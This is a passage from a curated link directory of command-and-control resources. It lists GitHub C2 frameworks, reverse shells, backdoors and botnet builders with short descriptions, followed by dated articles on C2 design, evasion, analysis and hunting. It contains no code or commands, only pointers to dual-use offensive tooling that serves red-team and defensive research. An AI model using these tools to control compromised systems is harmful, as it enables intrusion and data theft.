C2](http://threatexpress.com/2018/09/a-deep-dive-into-cobalt-strike-malleable-c2/) - 2018.09 [threatexpress] [A Deep Dive into Cobalt Strike Malleable C2](http://threatexpress.com/blogs/2018/a-deep-dive-into-cobalt-strike-malleable-c2/) - 2018.01 [threatexpress] [Automating Apache mod_rewrite and Cobalt Strike Malleable C2 for Intelligent Redirection](http://threatexpress.com/2018/02/automating-cobalt-strike-profiles-apache-mod_rewrite-htaccess-files-intelligent-c2-redirection/) - 2017.09 [mwrinfosecurity] [“Tasking” Office 365 for Cobalt Strike C2](https://labs.mwrinfosecurity.com/blog/tasking-office-365-for-cobalt-strike-c2/) - 2017.01 [bluescreenofjeff] [How to Write Malleable C2 Profiles for Cobalt Strike](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/) - 2016.06 [bluescreenofjeff] [Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite](https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/) *** ## <a id="ec8ac76dec379ff452f681a4504444b8"></a>Tools ### <a id="dbd38a8d8a1e246cd8628a34002c5fe7"></a>Recent Add - [**1135**Star][13d] [Boo] [byt3bl33d3r/silenttrinity](https://github.com/byt3bl33d3r/silenttrinity) An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR - [**614**Star][12d] [Py] [trustedsec/trevorc2](https://github.com/trustedsec/trevorc2) a legitimate website (browsable) that tunnels client/server communications for covert command execution. - [**575**Star][3m] [PS] [nettitude/poshc2_old](https://github.com/nettitude/poshc2_old) Powershell C2 Server and Implants - [**478**Star][5m] [C++] [fsecurelabs/c3](https://github.com/FSecureLABS/C3) A framework for rapid prototyping of custom C2 channels, while still providing integration with existing offensive toolkits. - [**442**Star][3y] [CSS] [graniet/chromebackdoor](https://github.com/graniet/chromebackdoor) a PoC of pentest tool, use a MITB technique for generate a windows executable ".exe" after launch run a malicious extension or script on most popular browsers, and send all DOM datas on command and control. - [**336**Star][12d] [PS] [nettitude/poshc2](https://github.com/nettitude/poshc2) Python Server for PoshC2 - [**325**Star][1y] [C#] [spiderlabs/dohc2](https://github.com/spiderlabs/dohc2) DoHC2 allows the ExternalC2 library from Ryan Hanson ( - [**273**Star][4m] [Py] [felixweyne/imaginaryc2](https://github.com/felixweyne/imaginaryc2) a python tool which aims to help in the behavioral (network) analysis of malware - [**205**Star][3y] [Py] [countercept/doublepulsar-c2-traffic-decryptor](https://github.com/countercept/doublepulsar-c2-traffic-decryptor) A python2 script for processing a PCAP file to decrypt C2 traffic sent to DOUBLEPULSAR implant - [**186**Star][2y] [Py] [woj-ciech/daily-dose-of-malware](https://github.com/woj-ciech/daily-dose-of-malware) Script lets you gather malicious software and c&c servers from open source platforms like Malshare, Malcode, Google, Cymon - vxvault, cybercrime tracker and c2 for Pony. - [**155**Star][7d] [Py] [chrispetrou/hrshell](https://github.com/chrispetrou/hrshell) HRShell is an HTTPS/HTTP reverse shell built with flask. It is an advanced C2 server with many features & capabilities. - [**136**Star][2y] [Py] [pjlantz/hale](https://github.com/pjlantz/hale) Botnet command & control monitor - [**132**Star][10m] [C] [treehacks/botnet-hackpack](https://github.com/treehacks/botnet-hackpack) Build a basic Command & Control botnet in C - [**130**Star][6d] [Py] [mhaskar/octopus](https://github.com/mhaskar/octopus) Open source pre-operation C2 server based on python and powershell - [**125**Star][7d] [JS] [p3nt4/nuages](https://github.com/p3nt4/nuages) A modular C2 framework - [**99**Star][6d] [Py] [ziconius/fudgec2](https://github.com/ziconius/fudgec2) FudgeC2 - a command and control framework designed for team collaboration and post-exploitation activities. - [**83**Star][5y] [Py] [maldroid/maldrolyzer](https://github.com/maldroid/maldrolyzer) Simple framework to extract "actionable" data from Android malware (C&Cs, phone numbers etc.) - [**79**Star][9m] [C++] [watersalesman/aura-botnet](https://github.com/watersalesman/aura-botnet) A super portable botnet framework with a Django-based C2 server. The client is written in C++, with alternate clients written in Rust, Bash, and Powershell. - [**70**Star][14d] [Py] [angus-y/pyiris-backdoor](https://github.com/angus-y/pyiris-backdoor) a modular, stealthy and flexible remote-access-toolkit written completely in python used to command and control other systems. - [**68**Star][1m] [C#] [maraudershell/marauder](https://github.com/maraudershell/marauder) A .NET agent for the Faction C2 Framework - [**67**Star][5m] [HTML] [project-prismatica/prismatica](https://github.com/project-prismatica/prismatica) Responsive Command and Control System - [**58**Star][1y] [C#] [mdsecactivebreach/browser-externalc2](https://github.com/mdsecactivebreach/browser-externalc2) External C2 Using IE COM Objects - [**56**Star][2y] [Go] [averagesecurityguy/c2](https://github.com/averagesecurityguy/c2) A simple, extensible C&C beaconing system. - [**48**Star][3m] [Shell] [professionallyevil/c4](https://github.com/professionallyevil/c4) Cyberdelia, a Collection of Command and Control frameworks - [**44**Star][30d] [JS] [shadow-workers/shadow-workers](https://github.com/shadow-workers/shadow-workers) C2 and proxy designed for penetration testers to help in the exploitation of XSS and malicious Service Workers (SW) - [**41**Star][2y] [Py] [v1v1/sleight](https://github.com/v1v1/sleight) Empire HTTP(S) C2 redirector setup script - [**39**Star][1y] [PS] [outflanknl/doh_c2_trigger](https://github.com/outflanknl/doh_c2_trigger) Code for blogpost: - [**38**Star][12d] [C#] [sf197/telegra_csharp_c2](https://github.com/sf197/telegra_csharp_c2) Command and Control for C# Writing - [**37**Star][11m] [Go] [prsecurity/golang_c2](https://github.com/prsecurity/golang_c2) Boilerplate C2 written in Go for red teams - [**31**Star][16d] [Py] [qsecure-labs/overlord](https://github.com/qsecure-labs/overlord) Overlord - Red Teaming Infrastructure Automation - [**30**Star][6y] [PS] [enigma0x3/powershell-c2](https://github.com/enigma0x3/powershell-c2) - [**24**Star][1y] [prsecurity/neutrino](https://github.com/prsecurity/neutrino) Neutrino C2 Source Code - [**23**Star][25d] [Go] [audibleblink/bothan](https://github.com/audibleblink/bothan) Is this IP a C2 server? - [**19**Star][1y] [tevora-threat/rt_redirectors](https://github.com/tevora-threat/rt_redirectors) Ansible role to configure redirectors for red team C2 - [**18**Star][5y] [PS] [et0x/c2](https://github.com/et0x/c2) Methods of C2 - [**18**Star][1m] [Py] [marcorosa/cnc-botnet-in-python](https://github.com/marcorosa/cnc-botnet-in-python) C&C Botnet written in Python with fabric - [**17**Star][1y] [C] [kiwidoggie/oni-framework](https://github.com/kiwidoggie/oni-framework) Embedded systems C2 software written in C/C# - [**17**Star][3y] [Go] [pandipanda69/my-little-honeypot](https://github.com/pandipanda69/my-little-honeypot) This repository aims to show how easy it is to code a telnet honeypot in order to recovering IOT malwares, and thus, active Command & Control. - [**17**Star][4m] [stvemillertime/absolutely-positively-not-hacking-back-with-pcap](https://github.com/stvemillertime/absolutely-positively-not-hacking-back-with-pcap) Streaming Unexpected Network Byte Sequences with High Probability of Blue Screening or Otherwise Crashing Attacker Command-and-Control Nodes - [**16**Star][4y] [Py] [hasherezade/bunitu_tests](https://github.com/hasherezade/bunitu_tests) Scripts for communication with Bunitu Trojan C&Cs - [**16**Star][6m] [C] [blacchat/xzf](https://github.com/blacchat/xzf) EXIF-based command and control PoC - [**16**Star][10m] [Py] [daniel-infosec/wikipedia-c2](https://github.com/daniel-infosec/wikipedia-c2) POC for utilizing wikipedia API for Command and Control - [**14**Star][5y] [Py] [nocow4bob/pix-c2](https://github.com/nocow4bob/pix-c2) Ping Exfiltration Command and Control (PiX-C2) - [**14**Star][3y] [Py] [secarmalabs/indushell](https://github.com/secarmalabs/indushell) PoC C&C for the Industroyer malware - [**14**Star][5m] [C#] [immersive-command-system/immersivedroneinterface](https://github.com/immersive-command-system/ImmersiveDroneInterface) aerial vehicle command and control platform, designed for immersive interfaces (such as the Oculus Rift). - [**11**Star][4m] [Py] [jacobsoo/amtracker](https://github.com/jacobsoo/amtracker) Android Malware Tracker - [**10**Star][12m] [Dockerfile] [d3vzer0/cnc-relay](https://github.com/d3vzer0/cnc-relay) Docker projects to retain beacon source IPs using C2 relaying infra - [**10**Star][9m] [Py] [m8r0wn/transportc2](https://github.com/m8r0wn/transportc2) PoC Command and Control Server. Interact with clients through a private web interface, add new users for team sharing and more. - [**10**Star][3y] [Py] [r3mrum/loki-parse](https://github.com/r3mrum/loki-parse) A python script that can detect and parse loki-bot (malware) related network traffic. This script can be helpful to DFIR analysts and security researchers who want to know what data is being exfiltrated to the C2, bot tracking, etc... - [**9**Star][4m] [Py] [degenerat3/meteor](https://github.com/degenerat3/meteor) Cross-platform C2 with modules for TCP, web, and more soon to come - [**8**Star][2m] [Py] [jacobsoo/malconfig](https://github.com/jacobsoo/malconfig) This is part of a module for the framework that i'm constantly developing. Currently only information of the C2 are disclosed here. - [**8**Star][3y] [Py] [killswitch-gui/flask_heroku_redirector](https://github.com/killswitch-gui/flask_heroku_redirector) flask heroku C2 redirector template - [**8**Star][5m] [Py] [r00k5a58/pyc2](https://github.com/r00k5a58/pyc2) simple c2 written in python to demonstrate security concepts - [**8**Star][11m] [tothi/kali-rpi-luks-crypt](https://github.com/tothi/kali-rpi-luks-crypt) Full disk encryption for Kali on Raspberry using LUKS - [**8**Star][25d] [Go] [xorrior/apfell-chrome-extension-c2server](https://github.com/xorrior/apfell-chrome-extension-c2server) Apfell C2 Server for the Google Chrome Extension Payload - [**7**Star][3y] [PS] [0sm0s1z/invoke-selfsignedwebrequest](https://github.com/0sm0s1z/invoke-selfsignedwebrequest) This repo exists as a quick and dirty arsenal of methods and scripts to subvert .NET SSL/TLS certificate validation in PowerShell and press on with the hack! - [**6**Star][2y] [C#] [jaydcarlson/c2-printf](https://github.com/jaydcarlson/c2-printf) 通过 Silicon Labs C2 调试器连接打印跟踪消息 - [**6**Star][5m] [Py] [m507/m-botnet](https://github.com/m507/m-botnet) A C2 project that controls a self-propagating MS17-010 worm. - [**5**Star][3y] [Py] [killswitch-gui/flask_pythonanywhere_redirector](https://github.com/killswitch-gui/flask_pythonanywhere_redirector) flask pythonanywhere C2 redirector template - [**4**Star][3y] [Py] [mellow-hype/c2finder](https://github.com/mellow-hype/c2finder) Look for un-sinkholed C&C IPs in your Bro logs (from Bambanek Consulting C&C master list) - [**4**Star][2y] [PHP] [nao-sec/ramnit_traffic_parser](https://github.com/nao-sec/ramnit_traffic_parser) Parsing Ramnit's traffic - [**3**Star][23d] [C++] [lima-x-coding/win32.-d0t-nix.c2](https://github.com/lima-x-coding/win32.-d0t-nix.c2) A C/C++ recreation off the original Win32.VB.Illerka.C Virus by Michael [APFX] - [**0**Star][2y] [Py] [bizdak/silverboxcc](https://github.com/bizdak/silverboxcc) Reverse engineered android malware, and this is a C&C server for it - [**0**Star][2y] [boaxboax/ctf-quaorar](https://github.com/boaxboax/ctf-quaorar) *** ## <a id="307c055d7414abc9ab9f2fb4e85456e1"></a>Post ### <a id="dc96281ca669ac06c3d7d134c7f90643"></a>Recent Add - 2019.12 [prsecurity] [Casual Analysis of Valak C2](https://medium.com/p/3497fdb79bf7) - 2019.11 [talosintelligence] [C2 With It All: From Ransomware To Carding](https://blog.talosintelligence.com/2019/11/c2-with-it-all.html) - 2019.10 [activecountermeasures] [MITRE ATT&CK Matrix – Custom C2 Protocol](https://www.activecountermeasures.com/mitre-attck-matrix-custom-c2-protocol/) - 2019.10 [HackersOnBoard] [Digital Vengeance Exploiting the Most Notorious C&C Toolkits](https://www.youtube.com/watch?v=CmQOfqrRLEI) - 2019.10 [HackersOnBoard] [Black Hat USA 2017 Infecting the Enterprise Abusing Office365+Powershell for Covert C2](https://www.youtube.com/watch?v=dxGAreWx9Jw) - 2019.10 [rapid7] [Open-Source Command and Control of the DOUBLEPULSAR Implant](https://blog.rapid7.com/2019/10/02/open-source-command-and-control-of-the-doublepulsar-implant/) - 2019.09 [carbonblack] [CB TAU Threat Intelligence Notification: Common to Russian Underground Forums, AZORult Aims to Connect to C&C Server, Steal Sensitive Data](https://www.carbonblack.com/2019/09/24/cb-tau-threat-intelligence-notification-common-to-russian-underground-forums-azorult-aims-to-connect-to-cc-server-steal-sensitive-data/) - 2019.09 [BlackHat] [Flying a False Flag: Advanced C2, Trust Conflicts, and Domain Takeover](https://www.youtube.com/watch?v=2BEwqbCbQuM) - 2019.09 [lockboxx] [MacOS Red Teaming 209: macOS Frameworks for Command and Control](https://lockboxx.blogspot.com/2019/09/macos-red-teaming-209-macos-frameworks.html) - 2019.09 [activecountermeasures] [MITRE ATT&CK Matrix – C2 Connection Proxy](https://www.activecountermeasures.com/mitre-attck-matrix-c2-connection-proxy/) - 2019.09 [freebuf] [摩诃草团伙利用公用平台分发C&C配置攻击活动揭露](https://www.freebuf.com/articles/system/212584.html) - 2019.09 [trendmicro] [Glupteba Campaign Hits Network Routers and Updates C&C Servers with Data from Bitcoin Transactions](https://blog.trendmicro.com/trendlabs-security-intelligence/glupteba-campaign-hits-network-routers-and-updates-cc-servers-with-data-from-bitcoin-transactions/) - 2019.08 [deepsec] [DeepSec2019 Talk: Android Malware Adventures – Analyzing Samples and Breaking into C&C – Kürşat Oğuzhan Akıncı & Mert Can Coşkuner](https://blog.deepsec.net/deepsec2019-talk-android-malware-adventures-analyzing-samples-and-breaking-into-cc-kursat-oguzhan-akinci-mert-can-coskuner/) - 2019.08 [KindredSecurity] [Code/Design Analysis of the redViper C2 Communication Protocol](https://www.youtube.com/watch?v=rk4EMhq30-M) - 2019.07 [trendmicro] [Keeping a Hidden Identity: Mirai C&Cs in Tor Network](https://blog.trendmicro.com/trendlabs-security-intelligence/keeping-a-hidden-identity-mirai-ccs-in-tor-network/) - 2019.07 [vishal] [Emotet C2 July2019Wk4](https://medium.com/p/dfc64965087a) - 2019.07 [freebuf] [Linux平台ibus蠕虫C&C模块源码分析](https://www.freebuf.com/articles/system/208374.html) - 2019.07 [freebuf] [利用SSH隧道加密、隐蔽C&C通信流量](https://www.freebuf.com/articles/network/207850.html) - 2019.07 [4hou] [Linux平台ibus蠕虫C&C模块源码分析](https://www.4hou.com/web/19225.html) - 2019.07 [trendmicro] [New Miori Variant Uses Unique Protocol to Communicate with C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/new-miori-variant-uses-unique-protocol-to-communicate-with-cc/) - 2019.07 [binaryedge] [Guest Post: Using BinaryEdge to hunt for Panda Banker C2 servers and Android Malware](https://blog.binaryedge.io/2019/07/08/guest-post-panda-banker/) - 2019.05 [sentinelone] [Emotet: The Story of Disposable C2 Servers](https://www.sentinelone.com/blog/emotet-story-of-disposable-c2-servers/) - 2019.05 [cobbr] [Designing Peer-To-Peer Command and Control](https://cobbr.io/Designing-Peer-To-Peer-C2.html) - 2019.04 [specterops] [Designing Peer-To-Peer Command and Control](https://medium.com/p/ad2c61740456) - 2019.04 [trendmicro] [Emotet Adds New Evasion Technique and Uses Connected Devices as Proxy C&C Servers](https://blog.trendmicro.com/trendlabs-security-intelligence/emotet-adds-new-evasion-technique-and-uses-connected-devices-as-proxy-cc-servers/) - 2019.04 [paloaltonetworks] [Aggah Campaign: Bit.ly, BlogSpot, and Pastebin Used for C2 in Large Scale](https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/) - 2019.04 [hackingarticles] [Command & Control: Ares](https://www.hackingarticles.in/command-control-ares/) - 2019.04 [hackingarticles] [Command & Control: WebDav C2](https://www.hackingarticles.in/command-control-webdav-c2/) - 2019.04 [arxiv] [[1904.05119] Reconstruction of C&C Channel for P2P Botnet](https://arxiv.org/abs/1904.05119) - 2019.04 [carbonblack] [CB TAU Threat Intelligence Notification: Email VBS Downloader Connects to C2 Server, Downloads Trickbot Payload](https://www.carbonblack.com/2019/04/04/cb-tau-threat-intelligence-notification-email-vbs-downloader-connects-to-c2-server-downloads-trickbot-payload/) - 2019.04 [TROOPERScon] [TR19: Introducing Faction: A modern, powerful, multiplayer C2 framework](https://www.youtube.com/watch?v=NuAz6cfuEe4) - 2019.03 [hackingarticles] [Command & Control: Silenttrinity Post-Exploitation Agent](https://www.hackingarticles.in/command-control-silenttrinity-post-exploitation-agent/) - 2019.03 [0x00sec] [Build C&C architecture](https://0x00sec.org/t/build-c-c-architecture/12169/) - 2019.03 [sophos] [Emotet 101, stage 4: command and control](https://news.sophos.com/en-us/2019/03/05/emotet-101-stage-4-command-and-control/) - 2019.02 [inyour] [Apache mod_python C2 Proxy](https://inyour.network/blog/2019/Apache-ModPython-C2-Proxy/) - 2019.02 [hackingarticles] [TrevorC2 – Command and Control](https://www.hackingarticles.in/trevorc2-command-and-control/) - 2019.02 [mdsec] [External C2, IE COM Objects and how to use them for Command and Control](https://www.mdsec.co.uk/2019/02/external-c2-ie-com-objects-and-how-to-use-them-for-command-and-control/) - 2019.02 [welivesecurity] [DanaBot Trojan updated with new C&C communication](https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/) - 2019.01 [freebuf] [在标准SSH隧道中隐藏C&C流量](https://www.freebuf.com/articles/system/194630.html) - 2019.01 [hackingarticles] [Koadic – COM Command & Control Framework](https://www.hackingarticles.in/koadic-com-command-control-framework/) - 2019.01 [blackhillsinfosec] [SSHazam: Hide Your C2 Inside of SSH](https://www.blackhillsinfosec.com/sshazam-hide-your-c2-inside-of-ssh/) - 2019.01 [4hou] [C&C浏览器](http://www.4hou.com/web/15389.html) - 2019.01 [sans] [#TheC2Matrix: Comparing C2 Frameworks](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1574188899.pdf) - 2019.01 [sans] [Covert Channels & Command and Control Innovation](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1574176351.pdf) - 2018.12 [securelayer7] [Basic Understanding of Command and Control Malware Server](http://blog.securelayer7.net/basic-understanding-of-command-and-control-malware-server-part1/) - 2018.12 [securelayer7] [Basic Understanding of Command and Control Malware Server](https://blog.securelayer7.org/basic-understanding-of-command-and-control-malware-server-part1/) - 2018.12 [myonlinesecurity] [Lokibot campaigns continue with some changes to C2 urls](https://myonlinesecurity.co.uk/lokibot-campaigns-continue-with-some-changes-to-c2-urls/) - 2018.11 [360] [使用邮件实现C&C通信：新型木马Cannon分析](https://www.anquanke.com/post/id/164946/) - 2018.11 [trendmicro] [Perl-Based Shellbot Looks to Target Organizations via C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/perl-based-shellbot-looks-to-target-organizations-via-cc/) - 2018.10 [cofense] [America’s First: US Leads in Global Malware C2 Distribution](https://cofense.com/americas-first-us-leads-global-malware-c2-distribution/) - 2018.08 [vanimpe] [How to Leverage Log Services to Analyze C&C Traffic](https://www.vanimpe.eu/2018/08/26/how-to-leverage-log-services-to-analyze-cc-traffic/) - 2018.08 [nsfocus] [Turla变种针对Microsoft Outlook后门发起C&C攻击](http://blog.nsfocus.net/microsoft-outlook-turla/) - 2018.08 [nettitude] [Extending C2 Lateral Movement – Invoke-Pbind](https://labs.nettitude.com/blog/extending-c2-lateral-movement-invoke-pbind/) - 2018.07 [syspanda] [Threat Hunting: Fine Tuning Sysmon & Logstash to find Malware Callbacks C&C](https://www.syspanda.com/index.php/2018/07/30/threat-hunting-fine-tuning-sysmon-logstash-find-malware-callbacks-cc/) - 2018.07 [freebuf] [蓝宝菇(APT-C-12)最新攻击样本及C&C机制分析](http://www.freebuf.com/articles/system/178422.html) - 2018.07 [360] [天眼实验室：蓝宝菇(APT-C-12)最新攻击样本及C&C机制分析](https://www.anquanke.com/post/id/152639/) - 2018.07 [trendmicro] [Blackgear Cyberespionage Campaign Resurfaces, Abuses Social Media for C&C Communication](https://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-cyberespionage-campaign-resurfaces-abuses-social-media-for-cc-communication/) - 2018.07 [esentire] [Living Off the Land – The Command and Control Phase](https://www.esentire.com/blog/living-off-the-land-the-command-and-control-phase/) - 2018.06 [whitecatsec] [Lazarus C2 - miło Cię upolować](http://blog.whitecatsec.com/2018/06/lazarus-c2-milo-cie-upolowac_15.html) - 2018.06 [ironcastle] [SMTP Strangeness – Possible C2, (Fri, Jun 15th)](https://www.ironcastle.net/smtp-strangeness-possible-c2-fri-jun-15th/) - 2018.06 [sans] [SMTP Strangeness - Possible C2](https://isc.sans.edu/forums/diary/SMTP+Strangeness+Possible+C2/23770/) - 2018.06 [pentestlab] [Command and Control – Browser](https://pentestlab.blog/2018/06/06/command-and-control-browser/) - 2018.06 [nanxiao] [Add CC&CXX environment variables in your OpenBSD profile](http://nanxiao.me/en/add-cccxx-environment-variables-in-your-openbsd-profile/) - 2018.06 [newskysecurity] [Hacker Fail: IoT botnet command and control server accessible via default credentials](https://medium.com/p/2ea7cab36f72) - 2018.06 [newskysecurity] [Hacker Fail: IoT botnet command and control server accessible via default credentials](https://blog.newskysecurity.com/hacker-fail-iot-botnet-command-and-control-server-accessible-via-default-credentials-2ea7cab36f72) - 2018.06 [cobaltstrike] [Broken Promises and Malleable C2 Profiles](https://blog.cobaltstrike.com/2018/06/04/broken-promises-and-malleable-c2-profiles/) - 2018.05 [vanimpe] [Diving into the VPNFilter C2 via EXIF](https://www.vanimpe.eu/2018/05/25/diving-into-the-vpnfilter-c2-via-exif/) - 2018.05 [netspi] [Databases and Clouds: SQL Server as a C2](https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/) - 2018.05 [securelist] [VPNFilter EXIF to C2 mechanism analysed](https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/) - 2018.05 [blackhillsinfosec] [C2, C3, Whatever It Takes](https://www.blackhillsinfosec.com/c2-c3-whatever-it-takes/) - 2018.05 [0x00sec] [Tyrannosaurus reproduced fast and died young: A malicious host/IP/C&C from China, 2016 to present](https://0x00sec.org/t/tyrannosaurus-reproduced-fast-and-died-young-a-malicious-host-ip-c-c-from-china-2016-to-present/6691/) - 2018.05 [360] [2018全国网络空间安全技术大赛web&misc&crypto题解](https://www.anquanke.com/post/id/144862/) - 2018.05 [pentestingexperts] [Threat Hunting – Command and Control Center – OFFICE WORK](http://www.pentestingexperts.com/threat-hunting-command-and-control-center-office-work/) - 2018.05 [ironcastle] [Reversed C2 traffic from China, (Fri, May 11th)](https://www.ironcastle.net/reversed-c2-traffic-from-china-fri-may-11th/) - 2018.05 [sans] [Reversed C2 traffic from China](https://isc.sans.edu/forums/diary/Reversed+C2+traffic+from+China/23649/) - 2018.05 [countercept] [Retrieving Meterpreter C2 from Memory](https://countercept.com/blog/retrieving-meterpreter-c2-from-memory/) - 2018.05 [countercept] [Retrieving Meterpreter C2 from Memory](https://countercept.com/our-thinking/retrieving-meterpreter-c2-from-memory/) - 2018.04 [360] [用Apache mod_rewrite来保护你的Empire C2](https://www.anquanke.com/post/id/104784/) - 2018.04 [4hou] [使用Angr将自己伪造成C&C服务器以研究恶意软件的通信协议](http://www.4hou.com/technology/11074.html) - 2018.04 [bluescreenofjeff] [HTTPS Payload and C2 Redirectors](https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/) - 2018.03 [findingbad] [C2 Hunting](http://findingbad.blogspot.com/2018/03/c2-hunting.html) - 2018.03 [blackhillsinfosec] [How to Build a Command & Control Infrastructure with Digital Ocean: C2K Revamped](https://www.blackhillsinfosec.com/how-to-build-a-command-control-infrastructure-with-digital-ocean-c2k-revamped/) - 2018.03 [akijosberryblog] [Active Directory as a C2 (Command & Control)](https://akijosberryblog.wordpress.com/2018/03/17/active-directory-as-a-c2-command-control/) - 2018.03 [blackhillsinfosec] [WEBCAST: Tweets, Beats, and Sheets: C2 over Social Media](https://www.blackhillsinfosec.com/webcast-tweets-beats-and-sheets-c2-over-social-media/) - 2018.03 [infosecinstitute] [Threat Hunting – Command and Control Center - OFFICE WORK](http://resources.infosecinstitute.com/threat-hunting-command-control-center-office-work/) - 2018.02 [woj] [Command and control server in social media (Twitter, Instagram, Youtube + Telegram)](https://medium.com/p/5206ce763950) - 2018.02 [xorl] [Multi-stage C&C and Red Teams](https://xorl.wordpress.com/2018/02/11/multi-stage-cc-and-red-teams/) - 2018.01 [woj] [OSINT : Chasing Malware + C&C Servers](https://medium.com/p/3c893dc1e8cb) - 2018.01 [pentestlab] [Command and Control – JavaScript](https://pentestlab.blog/2018/01/08/command-and-control-javascript/) - 2018.01 [f5] [Mirai is Attacking Again, So We’re Outing its Hilarious, Explicit C&C Hostnames](https://f5.com/labs/articles/threat-intelligence/cyber-security/mirai-is-attacking-again-so-were-outing-its-hilarious-explicit-c-c-hostnames) - 2018.01 [pentestlab] [Command and Control – Web Interface](https://pentestlab.blog/2018/01/03/command-and-control-web-interface/) - 2018.01 [pentestlab] [Command and Control – Images](https://pentestlab.blog/2018/01/02/command-and-control-images/) - 2017.12 [invokethreat] [Thoughts on C2 Designs and Tradecraft](http://www.invokethreat.actor/2017/12/thoughts-on-c2-designs-and-tradecraft.html) - 2017.12 [benkowlab] [Another normal day in cybercrime: from a random Loki sample to 550 C&C](https://benkowlab.blogspot.com/2017/12/another-normal-day-in-cybercrime-from.html) - 2017.12 [obscuritylabs] [Docker Your Command & Control (C2)](https://obscuritylabs.com/blog/2017/12/24/docker-your-command-control-c2/) - 2017.12 [4hou] [假借可信的在线服务进行C&C攻击](http://www.4hou.com/web/9380.html) - 2017.12 [MSbluehat] [BlueHat v17 || Dyre to Trickbot: An Inside Look at TLS-Encrypted Command-And-Control Traffic](https://www.slideshare.net/MSbluehat/bluehat-v17-dyre-to-trickbot-an-inside-look-at-tlsencrypted-commandandcontrol-traffic) - 2017.11 [virusbulletin] [VB2017 paper: Offensive malware analysis: dissecting OSX/FruitFly.B via a custom C&C server](https://www.virusbulletin.com/blog/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/) - 2017.11 [pentestlab] [Command and Control – WMI](https://pentestlab.blog/2017/11/20/command-and-control-wmi/) - 2017.11 [pentestlab] [Command and Control – Website](https://pentestlab.blog/2017/11/14/command-and-control-website/) - 2017.11 [malwaretech] [Investigating Command and Control Infrastructure (Emotet)](https://www.malwaretech.com/2017/11/investigating-command-and-control-infrastructure-emotet.html) - 2017.11 [virusbulletin] [VB2017 video: Turning Trickbot: decoding an encrypted command-and-control channel](https://www.virusbulletin.com/blog/2017/11/vb2017-video-turning-trickbot-decoding-encrypted-command-and-control-channel/) - 2017.11 [thevivi] [Securing your Empire C2 with Apache mod_rewrite](https://thevivi.net/2017/11/03/securing-your-empire-c2-with-apache-mod_rewrite/) - 2017.10 [hackersgrid] [TrevorC2 – Command and Control Over Browsable Webpage](http://hackersgrid.com/2017/10/trevorc2.html) - 2017.10 [trustedsec] [TrevorC2 – Legitimate Covert C2 over Browser Emulation](https://www.trustedsec.com/2017/10/trevorc2-legitimate-covert-c2-browser-emulation/) - 2017.10 [Cooper] [Hack.lu 2017 Digital Vengeance: Exploiting Notorious C&C Toolkits by Waylon Grange](https://www.youtube.com/watch?v=dPhwgTXIOOM) - 2017.10 [4hou] [使用FTP的系统控制后门作为C&C通道](http://www.4hou.com/system/7859.html) - 2017.10 [trendmicro] [SYSCON Backdoor Uses FTP as a C&C Channel](https://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/) - 2017.10 [pentestlab] [Command and Control – HTTPS](https://pentestlab.blog/2017/10/04/command-and-control-https/) - 2017.10 [pentestlab] [Command and Control – Kernel](https://pentestlab.blog/2017/10/02/command-and-control-kernel/) - 2017.09 [virusbulletin] [VB2017 preview: Offensive malware analysis: dissecting OSX/FruitFly.B via a custom C&C server](https://www.virusbulletin.com/blog/2017/09/vb2017-preview-offensive-malware-analysis-dissecting-osxfruitfly-custom-cc-server/) - 2017.09 [venus] [新型 Android 银行木马“MoqHao”利用社交网络隐藏 C&C 服务器](https://paper.seebug.org/407/) - 2017.09 [talosintelligence] [CCleaner Command and Control Causes Concern](https://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html) - 2017.09 [pentestlab] [Command and Control – Website Keyword](https://pentestlab.blog/2017/09/14/command-and-control-website-keyword/) - 2017.09 [tevora] [SecSmash: Leveraging Enterprise Tools for command execution, lateral movement and C2](http://threat.tevora.com/secsmash-leveraging-enterprise-tools-for-command-execution/) - 2017.09 [blackhillsinfosec] [Let’s Go Hunting! How to Hunt Command & Control Channels Using Bro IDS and RITA](https://www.blackhillsinfosec.com/how-to-hunt-command-and-control-channels-using-bro-ids-and-rita/) - 2017.09 [pentestlab] [Command and Control – WebDAV](https://pentestlab.blog/2017/09/12/command-and-control-webdav/) - 2017.09 [pentestlab] [Command and Control – Windows COM](https://pentestlab.blog/2017/09/01/command-and-control-windows-com/) - 2017.08 [bluescreenofjeff] [Randomized Malleable C2 Profiles Made Easy](https://bluescreenofjeff.com/2017-08-30-randomized-malleable-c2-profiles-made-easy/) - 2017.08 [n0where] [Proxy Aware PowerShell C2 Framework: PoshC2](https://n0where.net/proxy-aware-powershell-c2-framework-poshc2) - 2017.08 [riskanalytics] [Andromeda command-and-control on SourceForge](https://www.riskanalytics.com/2017/08/24/andromeda-command-and-control-on-sourceforge/) - 2017.08 [pentestlab] [Command and Control – PowerShell](https://pentestlab.blog/2017/08/19/command-and-control-powershell/) - 2017.08 [themiddleblue] [CloudFlare Domain Fronting: an easy way to reach (and hide) a malware C&C](https://medium.com/p/786255f0f437) - 2017.08 [trendmicro] [Hackers Leverage Chat for Command&Control: How You Can Protect Your Business](http://blog.trendmicro.com/hackers-leverage-chat-for-commandcontrol-how-you-can-protect-your-business/) - 2017.07 [blackhillsinfosec] [How to Build a C2 Infrastructure with Digital Ocean – Part 1](https://www.blackhillsinfosec.com/build-c2-infrastructure-digital-ocean-part-1/) - 2017.07 [NorthSec] [Dimitry Snezhkov - Abusing Webhooks for Command and Control](https://www.youtube.com/watch?v=1d3QCA2cR8o) - 2017.07 [xpnsec] [Industroyer C2 Communication](https://blog.xpnsec.com/industroyer-c2-protocol/) - 2017.06 [mcafee] 